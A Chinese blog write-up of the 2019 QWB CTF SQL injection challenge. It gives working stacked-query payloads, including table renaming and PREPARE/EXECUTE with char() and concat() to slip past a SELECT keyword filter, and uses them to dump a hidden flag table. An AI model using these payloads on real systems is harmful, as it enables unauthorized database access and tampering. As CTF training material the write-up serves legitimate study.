2019强网杯 随便注


[2019 强网杯]随便注

访问题目站点,随便输入就能看到返回结果

image-20210105155916668

输入'测试是否存在注入点

image-20210105155958771

发现报错,可以猜测此注入为字符型注入

构造SQL语句返回能查看的所有值

1' or 1=1#

image-20210105160146124

爆出所在表字段数

1' order by 2#        //正常回显
1' order by 3#        //出现报错

image-20210105160103617

image-20210105160123586

证明有2个字段

尝试爆所在数据库

1' union select database(),user()#

image-20210105160226584

返回了一串代码,说明select函数被过滤

那么select union查询就无法使用了

堆栈注入

堆叠注入(堆叠查询,Stacked Queries)

堆叠注入为攻击者提供了很多控制权,与仅限于SELECT语句的UNION联合查询攻击不同,堆叠注入可以用于执行任何SQL语句。

堆叠注入原理

在SQL中,分号表示一条语句的结束。如果在分号的后面再加一条语句,这条语句也可以被执行,继续加一个分号和一条语句,这样就可以在一次数据库的调用中执行多个语句。

堆叠注入的局限性

堆叠注入并不是在每种情况下都能使用的。大多数时候,因为API或数据库引擎的不支持,堆叠注入都无法实现。

查看所有数据库

-1';show databases;#

image-20210105160301517

查看当前数据库下的所有表

1';show tables;#

image-20210105160324351

查看表结构

-1';desc `1919810931114514`;desc `words`#

在windows系统下,反单引号(`)是数据库、表、索引、列和别名用的引用符

image-20210105160412946

发现flag在1919810931114514表里

判断出查询语句

selsect id,data from words where id = ?

payload

0';rename table words to words1;rename table `1919810931114514` to words;alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;desc  words;#

由于可以堆叠查询,这时候就想到了一个改名的方法

把words随便改成words1,然后把1919810931114514改成words,再把列名flag改成id,结合上面的1’ or 1=1#爆出表所有内容就可以查flag啦

1'or 1=1#爆出表所有内容

image-20210105160530680

预处理语句

PREPARE name from '[mysql sequece]';   //预定义SQL语句
EXECUTE name;  //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE name;  //删除预定义SQL        语句

预定义语句也可以通过变量进行传递

SET @tn = 'hahaha';  //存储表名
SET @sql = concat('select * from ', @tn);  //存储SQL语句
PREPARE name from @sql;   //预定义SQL语句
EXECUTE name;  //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE sqla;  //删除预定义SQL语句

payload

利用 char() 函数将select的ASCII码转换为select字符串,接着利用concat()函数进行拼接得到select查询语句,从而绕过过滤。或者直接用concat()函数拼接select来绕过。

不使用变量

1';PREPARE hacker from concat(char(115,101,108,101,99,116), ' * from `1919810931114514` ');EXECUTE hacker;#

使用变量

1';SET @sqli=concat(char(115,101,108,101,99,116),'* from `1919810931114514`');PREPARE hacker from @sqli;EXECUTE hacker;#

只是用contact(),不使用char()

1';PREPARE hacker from concat('s','elect', ' * from `1919810931114514` ');EXECUTE hacker;#

参考文档

MySQL中concat函数

Mysql修改字段名、修改字段类型


文章作者: Sheng
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Sheng !
  目录